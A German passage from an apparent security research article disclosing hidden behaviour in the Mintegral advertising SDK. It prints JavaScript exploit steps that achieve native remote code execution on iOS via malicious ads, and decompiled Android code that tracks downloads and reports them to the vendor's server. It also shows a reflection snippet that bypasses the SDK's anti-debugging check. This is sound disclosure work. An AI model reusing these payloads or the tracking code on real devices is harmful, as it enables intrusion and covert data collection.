    'uniqueIdentifier': 'hFQ\/HFeQJ7K\/+T2Vx2fQJdxuYrh\/LgfXYQxuJ7eQhM==', // singleton_MTGSetting.jsonTitles
    'name': 'hF5TnFzqHkfTGrHXh3wQ4nE=',
    'parameters': [
        {'type': 1, 'value': {'uniqueIdentifier': 'hbxtJ7QU+25zN+SMY7QUD+xuYF9='}}, // static_UIApplication
        {'type': 2, 'value': 'x' }
    ]
});

Dieser Schritt ähnelt Schritt 1. Wir müssen die Klassenreferenz von UIApplication in jsonTitles.x speichern.

Schritt 5: Meldung anzeigen

location.href = 'mv://1:fucId/handleNativeObject?' + JSON.stringify({
    // singleton_MTGSetting.jsonTitles.x.sharedApplication.keyWindow.rootViewController
    'uniqueIdentifier': 'hFQ\/HFeQJ7K\/+T2Vx2fQJdxuYrh\/LgfXYQxuJ7eQhBP9WgfED+zQHjcMh7euDFcTLkK\/WrwQ45JuYrxXJBPBYFKT5rQQJTfXYgxBYFesH+R=',
    // presentViewController:animated:completion:
    'name': 'hdzQhF5\/JcHuH+JaYFPThrKsY75BGrc\/Lk2tJ753GrfXY+SsH+xuYF91',
    'parameters': [
        {
            'type': 1,
            // singleton_MTGSetting.jsonTitles.b
            'value': {'uniqueIdentifier': 'hFQ\/HFeQJ7K\/+T2Vx2fQJdxuYrh\/LgfXYQxuJ7eQhBP0'}
        },
        {'type': 0, 'value': 1},
        {'type': 4} // nil
    ]
});

Dieser Schritt wirkt kompliziert, nutzt aber lediglich verschiedene Techniken aus den vorherigen Schritten. In Objective-C sieht der Code so aus:

[MTGSetting.sharedInstance.jsonTitles.x.sharedApplication.keyWindow.rootViewController
    presentViewController:MTGSetting.sharedInstance.jsonTitles.b // this is out instance of UIAlertController
    animated: 1
    completion: nil
];

Damit haben wir gezeigt, wie sich mithilfe von Remote Code Execution eine Meldung anzeigen lässt. Die vollständige Payload finden Sie hier. Um die Schritte nacheinander aufzurufen, haben wir ein Aktions-Array erstellt und jede Aktion im Callback window.WindVane.onSuccess ausgeführt (jeweils nach Abschluss der vorherigen Aktion).

Ein Video zeigt, wie sich Inhalte der Zwischenablage durch die Auslieferung des Exploits über eine bösartige Anzeige auslesen lassen.

Remote Code Execution using Mintegral's MTGInvocationBoxing

Quelle des JavaScript-Exploits

Wir haben bereits gesehen, wie das Mintegral-SDK über JavaScript-Code die native Remote-Codeausführung ermöglicht. Dieser JavaScript-Code liegt jedoch vollständig in der Hand von Mintegral. Interessanterweise lässt sich dasselbe aber auch mit interaktiven Anzeigen erreichen, die von den Werbetreibenden selbst erstellt wurden. Bei den Anzeigen handelt es sich um JavaScript-basierte Webseiten.

Theoretisch kann ein Werbetreibender eine bestimmte Nutzergruppe oder eine bestimmte Gruppe von Geräten gezielt ansprechen, indem er eine bösartige Anzeige mit dem JavaScript-Exploit ausliefert.

Fazit

Wir können nur spekulieren, warum Mintegral die Möglichkeit integriert hat, native Methoden remote im SDK aufzurufen. Die Namen der Klassen, etwa MTGCommandDispatcher und MTGRemoteCommand, lassen uns jedoch vermuten, dass dies beabsichtigt war. Außerdem entfernte Mintegral den Code unmittelbar nach unserer Veröffentlichung, obwohl wir ihn zu diesem Zeitpunkt noch nicht kannten.

Download-Tracking unter Android [Oktober 2020]

Überblick

In den beiden vorangegangenen Abschnitten dieses Forschungsartikels haben wir beschrieben, wie das Snyk-Sicherheitsteam schädliches Verhalten im Mintegral-SDK entdeckt hat, das sich auf iOS-Geräten ausnutzen lässt und zu Anzeigenbetrug, Datenlecks und Remote Code Execution (RCE) führen kann. Wir wollten die Android-Version des SDK genauer untersuchen. Darum geht es in diesem Abschnitt. Hier die wichtigsten Ergebnisse:

  1. Tracking von Download-URIs von Google, das sowohl Browser- als auch App-Downloads betrifft – darunter reguläre Dateidownloads, E-Mail-Anhänge und Google-Docs-Links.

  2. Tracking aller APK-Downloads, unabhängig davon, ob sie organisch zustande kamen.

Diese Daten werden an die Server von Mintegral zurückgesendet.

Beobachtetes Verhalten

Beim Herunterladen eines Google-Docs-Links stellten wir fest, dass die App folgende Anfragen an https://n.systemlog.me sendet:

Websicherheitstool mit einer rohen POST-Anfrage mit URL-codierten Daten, die an n.systemlog.me gesendet werden

Dabei handelt es sich um denselben Endpunkt, der im iOS-SDK zum Senden von Daten an den Mintegral-Server verwendet wurde. Die Payload ist codiert. Mit der Decodierlogik aus der SDK-Binärdatei erhalten wir jedoch Folgendes:

p =  clever=kbs0hoR1R0RsRgD0G0R0Woz2YoR1kBzEJdxMhAuhW2MXH7KUhBPgYFKgY7V%2FDFKw%2BoKAhdzQDkxAL75QJdfhWF59h7KBJaKuHaTeid3enrQB%2Bbx%2Bx3TMVjcU%2BFQ5G5zwijtUZaSufjJFfruAxdtiHrKw5Ff%2BZZHQ4dSXhgx7YbzwD%2BNKh7xrR0M0LdxThdi1%2BoKhWFxXDBTMfo20DB2AL75QJdi%2FHFKXHFeQJ%2BfQhrfXYgxQYgN%2FDFKw%2BoKQ4dSXhgxhWFM2YavAG%2BiFYr32J%2B5whkzALUQXincsYkxU%2BoKuGatrLbf%2FYAcsYbfefAiAJ7wuHkwtf7JqL2MXinDMiUVPia3eiavMicMXinv9in32fAvPiaRPiajFiURPfavA%2BoIq%2BoIeid3enrQB%2Bbx%2Bx3TMVjcU%2BFQ5G5zwijtUZaSufjJFfruAxdtiHrKw5Ff%2BZnKuHaTeid3enrQB%2Bbx%2Bx3TMVjcU%2BFQ5G5zwijtUZaSufjJFfruAxdtiHrKw5Ff%2BZZHQ4dSXhgx7YbzwD%2BNKh7xrRQTsRrwbRUE0hF5Uhr5TWgS3H0RsRrHsRUE0inRTf0zK%2BN%3D%3D
app_id=118690
sign=9329a7706dd43d6ed64d022ad0e7b13b
platform=1
os_version=5.1.1
package_name=com.mintegral.sdk.demo
app_version_name=1.0
app_version_code=1
orientation=1
model=Android+SDK+built+for+x86
brand=Android
gaid=a717e74d-64fa-464e-a28a-cbb8dc67ef6b
mnc=260
mcc=310
network_type=13
language=en
timezone=GMT%2B02%3A00
useragent=Mozilla%2F5.0+%28Linux%3B+Android+5.1.1%3B+Android+SDK+built+for+x86+Build%2FLMY48X%29+AppleWebKit%2F537.36+%28KHTML%2C+like+Gecko%29+Version%2F4.0+Chrome%2F39.0.0.0+Mobile+Safari%2F537.36
sdk_version=MAL_10.5.0
gp_version=1.8
screen_size=1080x2160
has_wx=false
cache1=747
cache2=722
power_rate=100
charging=1
http_req=2
dvi=4BztYrxBYFQ3%2BFQ3RUE0fnVFDn5tDU3Mfkz0H7H3iBRsRrfuHoR1RUv0Woz3Y%2BN0G0Refnl9R0M0H72rRUEbfUvsRrfTRUE0kbl9fQT06N%3D%3D
unknown_source=1
sys_id=a54a2ddc-1a89-5ac3-aa69-d6b7906afa29
is_clever=2

Es gibt zwei weitere codierte Parameter: clever und dvi. Nachdem wir auch diese decodiert hatten, fiel uns etwas Interessantes auf:

{
    "fl": "1246",
    "kw": "secret.pdf",
    "p": "",
    "ul": [
        "https://docs.google.com/spreadsheets/export?id=10y1Nir_tWFM0PAc_iU9Rm0HcH0i4Gv6jsDxLfomWcWI&exportFormat=pdf",
        "https://doc-04-bc-sheets.googleusercontent.com/export/l5l039s6ni5uumqbsj9o11lmdc/i88fksno1losq733tkieka4gjk/1602590910000/108195709029016229403/*/10y1Nir_tWFM0PAc_iU9Rm0HcH0i4Gv6jsDxLfomWcWI?id=10y1Nir_tWFM0PAc_iU9Rm0HcH0i4Gv6jsDxLfomWcWI&exportFormat=pdf"
    ],
    "v": ""
}

{
    "android_id": "556a5ab905bbdfd3",
    "cid": "0",
    "ct": "[x86]",
    "dmf": 760,
    "dmt": "1588"
}

Wie zu sehen ist, wird die URL der Google-Tabelle, die wir über die Google-Drive-App heruntergeladen haben, im Feld ul an das Backend gesendet. Der Name der heruntergeladenen Datei steht im Feld kw, während dvi einige Gerätedaten enthält.

Mögliche Verwendungszwecke

Im iOS-Szenario wurden betrügerische doppelte Klicks vom Gerät des Clients an die Mintegral-Server und anschließend an den Attribution-Anbieter (MMP) gesendet. In diesem Fall werden heruntergeladene oder installierte APKs an die Server gemeldet und könnten dazu verwendet werden, serverseitige Klicks zu erzeugen. Das folgende Diagramm veranschaulicht den Datenfluss:

Diagramm: Ein schädliches SDK in einer betroffenen Android-App verwendet ContentResolver und Play Market, um eine APK herunterzuladen und gefälschte Klickdaten zu senden.

Alphab-Modul

Das oben beschriebene Verhalten befindet sich im Alphab-Modul, das Mintegral als „Optimierungspaket“ bezeichnete:

Android-SDK-Integrationsleitfaden mit dem Abschnitt „SDK-Initialisierung“ und einer Tabelle zu Video-, Splash-Ad-, interaktiven und Optimierungspaketen

Nach unserer Veröffentlichung wurde das Modul von der Mintegral-Website entfernt und scheint nicht mehr zum bereitgestellten SDK zu gehören. Wir haben das SDK dekompiliert und den für dieses Verhalten verantwortlichen Code gefunden.

Klasse AlphaCommonConst

public final class AlphaCommonConst {

    /* renamed from: a */    public static String f0a = a.c("LdxThdi1WBK\\/WgfPhbxQYkeXHBPwHZKAJ7eXHM==");

    /* renamed from: b */    public static String f1b = a.c("LdxThdi1WBK\\/WgfPhbxQYkeXHBPwHZKsYFh=");

    /* renamed from: c */    public static String f2c = "decode error";

    /* renamed from: d */    public static boolean is_net_debug = false;

    /* renamed from: com.alphab.a$a */    /* compiled from: AlphaCommonConst */    public static class C0000a {

        /* renamed from: a */        public static String ACTION_NET_DEBUG = AlphabBase64Util.m1b("aEqMQ3ckisLAfcxK7En575xOayJIYsT=");

        /* renamed from: b */        public static String f5b = AlphabBase64Util.m1b("aELKr0xI7ULIYeJAYeN6aEbPQEx6FAVVNPBVJPHmNZJXJZN=");
    }

Diese Klasse enthält zahlreiche fest codierte Konstantendefinitionen. Einige Zeichenfolgen sind mit einem eigenen, auf Base64 basierenden Codierungsverfahren verschleiert, das sich in der Klasse AlphabBase64Util befindet – ähnlich wie bei der iOS-Version.

Nach dem Decodieren erhalten wir folgende Zeichenfolgen:

aEqMQ3ckisLAfcxK7En575xOayJIYsT=                   = alphab_net_debug_action
aELKr0xI7ULIYeJAYeN6aEbPQEx6FAVVNPBVJPHmNZJXJZN=   = android.intent.action.PACKAGE_ADDED
7sHPNsx6f3H6fcnArsxzf0H2                           = getContentResolver
aELKr0xI7UL67iN6HinI                               = android.net.Uri
aELKr0xI7ULKaiJOa0cg7jLoYsLP7ELP9sng7ins7iC=       = android.database.ContentObserver
aELKr0xI7ULGYsLP7ELPFKb4YeJAYeJj7ib4Yp7ArR==       = android.content.ContentResolver
r0HeQibP7inoYsLP7ELP9sng7ins7iC=                   = registerContentObserver
aELKr0xI7ULGYsLP7ELPFKn2YscKascgfcnAasHIf0H2       = android.content.BroadcastReceiver
aELKr0xI7ULGYsLP7ELPFKA6f3H6fX7IYpJArR==           = android.content.IntentFilter
aEJKNEbPQEx6                                       = addAction
r0HeQibP7inj7EbAQi7ArR==                           = registerReceiver

Diese werden in den Initialisierungsschritten verwendet, die wir als Nächstes besprechen.

Alphab-Receiver

In der init()-Methode der Klasse AlphabReceiver wird der BroadcastReceiver mit einigen der zuvor verschleierten Zeichenfolgen initialisiert:

try {
      AlphabReceiver alphabReceiver = new AlphabReceiver();
      Class cls = Class.forName(AlphaCommonConst.C0001b.f11f);
      Class cls2 = Class.forName(AlphaCommonConst.C0001b.f12g);
      Object newInstance = cls2.newInstance();
      Method method = IntentFilter.class.getMethod(AlphaCommonConst.C0001b.f13h, String.class);
      method.invoke(newInstance, AlphaCommonConst.C0000a.ACTION_NET_DEBUG);
      method.invoke(newInstance, AlphaCommonConst.C0000a.f5b);
      Context.class.getMethod(AlphaCommonConst.C0001b.f14i, cls, cls2).invoke(context, alphabReceiver, newInstance);
      } catch (Throwable th) {
            th.printStackTrace();
      }

Wenn wir diese durch die decodierten Zeichenfolgen ersetzen, sieht der Code so aus:

AlphabReceiver alphab_receiver = new AlphabReceiver();
Class alphab_receiver_cls = Class.forName("android.content.BroadcastReceiver");
Class intent_filter_cls = Class.forName("android.content.IntentFilter");
Object intent_inst = intent_filter_cls.newInstance();
Method method = IntentFilter.class.getMethod("addAction", String.class);
method.invoke(intent_inst, "alphab_net_debug_action");
method.invoke(intent_inst, "android.intent.action.PACKAGE_ADDED");
Context.class.getMethod("registerReceiver", alphab_receiver_cls, intent_filter_cls)
.invoke(context, alphab_receiver, intent_inst);

Mithilfe der Java Reflection API wird ein neuer Broadcast-Receiver erstellt, der auf zwei Arten von Intents wartet:

  • android.intent.action.PACKAGE_ADDED – ein systemweiter Intent, der ausgelöst wird, wenn ein Paket auf dem Gerät installiert wird.

  • alphab_net_debug_action – ein benutzerdefinierter Intent, der offenbar die Netzwerk-Debugging-Funktion erkennt.

Beim Empfang des Intents erstellt die Klasse AlphabReceiver eine ParseAndLoad()-Methode:

public final class ParseAndLoad {

    /* renamed from: a */    private Intent f89a;

    public ParseAndLoad(Intent intent) {
        this.f89a = intent;
        if (AlphaCommonConst.C0000a.ACTION_NET_DEBUG.equals(intent.getAction())) {
            AlphaCommonConst.is_net_debug = true;
        }
    }
}

Dieses Feld wird später in einer Bedingung verwendet:

public final void mo40a() {
   boolean z = true;
   try {
        AlphabImpl.m61c(AlphabImpl.this);
        com.mintegral.msdk.base.b.b.a(i.a(AlphabImpl.this.f64b)).c();
                if (com.mintegral.msdk.base.b.b.a(i.a(AlphabImpl.this.f64b)).a(this.f82c)) {
                    g.b(AlphabImpl.f62a, "did in database " + this.f82c);
                } else if (AlphabImpl.this.f64b != null) {
                    Context a = AlphabImpl.this.f64b;
                    if (!AlphaCommonConst.is_net_debug && (NetUtils.is_proxy_enabled(a) || NetUtils.is_vpn_enabled())) {
                        z = false;
                    }
                    if (z) {
                        g.b(AlphabImpl.f62a, "insert did" + this.f82c);
                        com.mintegral.msdk.base.b.b.a(i.a(AlphabImpl.this.f64b)).a(this.f82c, this.f81b);
                        AlphabImpl.m56a(AlphabImpl.this, this.f82c);
                    }
                }
            } catch (Exception e) {
                if (MIntegralConstans.DEBUG) {
                    e.printStackTrace();
                }
            }
        }

Die Dekompilierung der beiden anderen Methoden in dieser if-Anweisung zeigt, dass geprüft wird, ob die aktuelle Netzwerkverbindung über einen WLAN-Proxy oder einen VPN-Client läuft. Damit soll verhindert werden, dass die App debuggt und ihr Datenverkehr mitgeschnitten wird. Dieser Intent ermöglicht es den Entwicklern des SDK, diese Anti-Debugging-Funktion zu umgehen.

Alphab-Observer

Ähnlich dazu ist auch der Initialisierungsblock dieses ContentObserver in Reflection-Code und verschleierten Zeichenfolgen verborgen:

C0014a aVar = new C0014a(this.f70i);
Object invoke = Context.class.getMethod(AlphaCommonConst.C0001b.f6a, new Class[0]).invoke(context, new Object[0]);
Class cls3 = Class.forName(AlphaCommonConst.C0001b.f7b);
                        Class cls4 = Class.forName(AlphaCommonConst.C0001b.f8c);                  Class.forName(AlphaCommonConst.C0001b.f9d).getMethod(AlphaCommonConst.C0001b.f10e, cls3, Boolean.TYPE, cls4).invoke(invoke, Uri.parse(AlphabBase64Util.m1b("asx6f3H6foh4FsJ4fsLzYscKrM==")), true, aVar);

Nach der Bereinigung erhalten wir Folgendes:

AlpahbObserver observer = new AlpahbObserver(handler);
Object contentResolverObject = Context.class.getMethod(AlphaCommonConst.REFLECT.GETCONTENTRESOLVER).invoke(context);
Class uriClass = Class.forName(AlphaCommonConst.REFLECT.URI_CLASS);
Class contentObserver = Class.forName(AlphaCommonConst.REFLECT.CONTENTOBSERVER_CLASS);
Class contentResolver = Class.forName(AlphaCommonConst.REFLECT.CONTENTRESOLVER_CLASS).getMethod(AlphaCommonConst.REFLECT.REGISTERCONTENTOBSERVER, uriClass, boolean.class, contentObserver)
.invoke(contentResolverObject, Uri.parse(AlphabBase64Util.newBase64Decode(uriDownload)), true, observer);

Das bedeutet, dass der Content-Observer registriert wird, um auf die URI content://downloads zu achten. Er wird immer dann ausgelöst, wenn eine Datei auf das Gerät heruntergeladen wird.

Er fragt den Android-Download-Manager nach öffentlichen Downloads ab:

cursor = aVar.f64b.getContentResolver().query(Uri.parse(AlphabBase64Util.m1b("asx6f3H6foh4FsJ4fsLzYscKr2xMfEnzQEbm73xyY0q4aEJgFM==") + str), null, null, null, null);

Wenn wir die Zeichenfolge decodieren, erhalten wir Folgendes:

cursor = aVar.f64b.getContentResolver()
.query(Uri.parse("content://downloads/public_downloads" + str), null, null, null, null);

Erfüllt die Download-URL eine der folgenden Bedingungen, wird ein Bericht an https://n.systemlog.met/stlog gesendet:

  1. Endet mit apk – bei manuellen Downloads.

  2. Verweist auf ein Paket von com.android.vending oder die URL enthält google.com – dadurch werden Google-Apps oder sogar Browser-URLs erfasst, die der Bedingung entsprechen.

Der folgende Codeausschnitt sendet die Anfrage an den Server https://n.systemlog.met/stlog.

else if (message.what == AlphabReqImpl.this.f23d && (eVar = new SCReq(AlphabReqImpl.this.f20a)) != null) {
                g.a("AlphabReqImpl", "setting  is request");
                eVar.b(0, AlphaCommonConst.f0a, AlphabReqImpl.this.f25f, AlphabReqImpl.this.f26g);
            }

Das entspricht:

else if (message.what == AlphabReqImpl.this.f23d && (req = new SCReq(AlphabReqImpl.this.f20a)) != null) {
                g.a("AlphabReqImpl", "setting  is request");
                req.send(0, "http://n.systemlog.me/stlog", AlphabReqImpl.this.f25f, AlphabReqImpl.this.f26g);

„Hier sehen wir die Parameter, die wir auch in der mitgeschnittenen Anfrage aus unserem Beispiel gefunden haben:

static /* synthetic */ void m26a(ReqPKGAndReportManager dVar, String str, String str2, List list, String str3, String str4) {
        try {
            if (TextUtils.isEmpty(str2)) {
                str2 = "";
            }
            if (TextUtils.isEmpty(str)) {
                str = "";
            }
            JSONArray jSONArray = new JSONArray();
            JSONObject jSONObject = new JSONObject();
            if (jSONObject != null) {
                try {
                    jSONObject.put("p", str);
                    jSONObject.put("v", str2);
                    JSONArray jSONArray2 = new JSONArray();
                    if (list != null && list.size() >= 0) {
                        for (int i = 0; i < list.size(); i++) {
                            jSONArray2.put(list.get(i));
                        }
                    }
                    jSONObject.put("ul", jSONArray2);
                    jSONObject.put("kw", str3);
                    jSONObject.put("fl", str4);
                } catch (Throwable th) {
                    if (MIntegralConstans.DEBUG) {
                        th.printStackTrace();
                    }
                }
            }
            jSONArray.put(jSONObject);
            String b = com.mintegral.msdk.base.utils.a.b(jSONArray.toString());
            dVar.f40i = new c();
            if (!(dVar.f40i == null || dVar.f20a == null)) {
                dVar.f40i.a("clever", b);
            }
            dVar.mo10a(dVar.f40i);
  • p – Paketname des Downloads, also die App

  • v – App-Version

  • ul – URL der heruntergeladenen Datei

  • kw – Dateiname des Downloads

  • fl – Dateigröße

Demo-App

Android-App-Bildschirm mit dem Titel „My Application“ und Schaltflächen zum Anfordern von Schreibberechtigungen, Aktivieren des Debuggings und Herunterladen des Google-I-Logos und der APK

Um das Verhalten zu veranschaulichen, haben wir eine Demo-App erstellt, mit der wir Folgendes tun konnten:

1. Das Net-Debug-Flag mithilfe von Reflection aktivieren, um die Anti-Debugging-Logik zu umgehen

buttonIsNetDebug.setOnClickListener(new View.OnClickListener() {
   @Override
   public void onClick(View v) {
       try {
           Class AlphaCommonConst = Class.forName("com.alphab.a");
           AlphaCommonConst.getDeclaredField("d").set(null, true);
       } catch (Exception e) {
           e.printStackTrace();
       }
   }
});

2. Eine Datei von einer URL herunterladen, die google.com enthält

buttonDownloadGoogleLogo.setOnClickListener(new View.OnClickListener() {
   @Override
   public void onClick(View v) {
       Uri uri = Uri.parse("https://images.google.com/images/branding/googlelogo/1x/googlelogo_color_272x92dp.png");
       DownloadManager.Request request = new DownloadManager.Request(uri);
       request.setDestinationInExternalPublicDir(Environment.DIRECTORY_DOWNLOADS, "googlelogo_color_272x92dp.png");
       request.setNotificationVisibility(DownloadManager.Request.VISIBILITY_VISIBLE_NOTIFY_ONLY_COMPLETION);
       DownloadManager manager = (DownloadManager) getSystemService(DOWNLOAD_SERVICE);
       manager.enqueue(request);
   }
});

3. Eine Datei von einer URL herunterladen, die mit apk endet

buttonDownloadApk.setOnClickListener(new View.OnClickListener() {
   @Override
   public void onClick(View v) {
       Uri uri = Uri.parse("https://storage.evozi.com/apk/dl/16/09/04/com.shazam.android_1004300.apk?f=google.com");
       DownloadManager.Request request = new DownloadManager.Request(uri);
       request.setDestinationInExternalPublicDir(Environment.DIRECTORY_DOWNLOADS, "com.shazam.android_1004300.apk");
       request.setNotificationVisibility(DownloadManager.Request.VISIBILITY_VISIBLE_NOTIFY_ONLY_COMPLETION);
       DownloadManager manager = (DownloadManager) getSystemService(DOWNLOAD_SERVICE);
       manager.enqueue(request);
   }
});

„Wir haben die ausgehenden Anfragen mit einem HTTP-Proxy mitgeschnitten. Nachdem wir auf eine der Download-Schaltflächen geklickt hatten, sahen wir eine Anfrage an den Endpunkt des Servers:

Burp Suite Community Edition mit einer abgefangenen POST-Anfrage an n.systemlog.me, HTTP-Headern und codierten Formulardaten.

Dieses Video veranschaulicht das Tracking-Verhalten:

Malicious Mintegral SDK Leaks Data on Android

Zeitachse

Datum

Forschungsereignis

5. Aug.

Das Snyk-Forschungsteam stellt fest, dass das Mintegral-iOS-SDK übermäßig viele Daten erfasst und Klicks kapert

17. Aug.

Snyk meldet die Ergebnisse verantwortungsvoll an Apple

24. Aug.

Snyk veröffentlicht die Ergebnisse zu Sour Mint für iOS

25. Aug.

Mintegral veröffentlicht eine Stellungnahme und weist die Vorwürfe zum SDK zurück

3. Sept.

IronSource kündigt an, Mintegral aus seiner Mediation-Plattform zu entfernen

3. Sept.

Mintegral veröffentlicht Version 6.5.0.0 des iOS-SDK und entfernt die schädliche, verborgene Komponente _CXX_CXX_OperationPKTask

4. Sept.

Die MoPub-(Twitter)-Mediation-Plattform kündigt an, Mintegral die Zertifizierung für ihre Plattform zu entziehen

4. Sept.

Mintegral kündigt an, das SDK als Open Source freizugeben

4. Sept.

Das Snyk-Forschungsteam entdeckt eine verborgene Funktion zum Tracking von Downloads in der Android-Version des SDK

9. Sept.

Snyk meldet die Ergebnisse zum Android-SDK verantwortungsvoll an Google

10. Sept.

Mintegral veröffentlicht Version 6.6.0.0 des iOS-SDK und entfernt die Backdoor-Komponente MTGRemoteCommandParser

22. Sept.

Snyk erhält den Quellcode der iOS-SDK-Version 6.6.0.0 und führt eine Diff-Analyse durch

23. Sept.

Snyk stellt fest, dass Mintegral das Google-Download-Tracking-Modul aus seinem Android-SDK entfernt hat

30. Sept.

Durch eine Diff-Analyse entdeckt Snyk eine Backdoor in der iOS-Version des SDK, die RCE ermöglicht

2. Okt.

Snyk meldet die neuen Ergebnisse zu iOS verantwortungsvoll an Apple

3. Okt.

Apple benachrichtigt betroffene Publisher und fordert sie auf, den Code zu entfernen, der RCE ermöglicht

15. Okt.

Snyk veröffentlicht die neuesten Ergebnisse zu iOS und Android

Weiterlesen

Blog

Frontier-Modelle fanden die Schwachstellen. Nur der Angreifer fand die Angriffsketten.

Die statische Analyse fand die Schwachstellen, doch erst Live-Angriffstests bewiesen, wie sie sich zu Angriffen verketten lassen. Ein Vergleich von Evo COS, Claude Security und Claude Code Security.

feature insights context
Blog

Autonome Angriffe sind bereits Realität. Die Verteidigung muss Schritt halten.

Autonome Angreifer verkürzen das Zeitfenster für die Verteidigung. Erfahren Sie, wie kontinuierliches Erkennen, Beheben, Validieren und Verhindern Sicherheitsteams helfen kann, Schritt zu halten.

Blog

Warum KI-Coding-Agenten immer wieder fehlerhafte Zugriffskontrollen schreiben

KI-Coding-Agenten können Autorisierungslogik erzeugen, die kompiliert und die Prüfung besteht, dabei aber die Daten eines Mandanten für einen anderen offenlegt. Erfahren Sie, warum fehlerhafte Zugriffskontrollen schwer zu erkennen sind und wie Sie sie verhindern.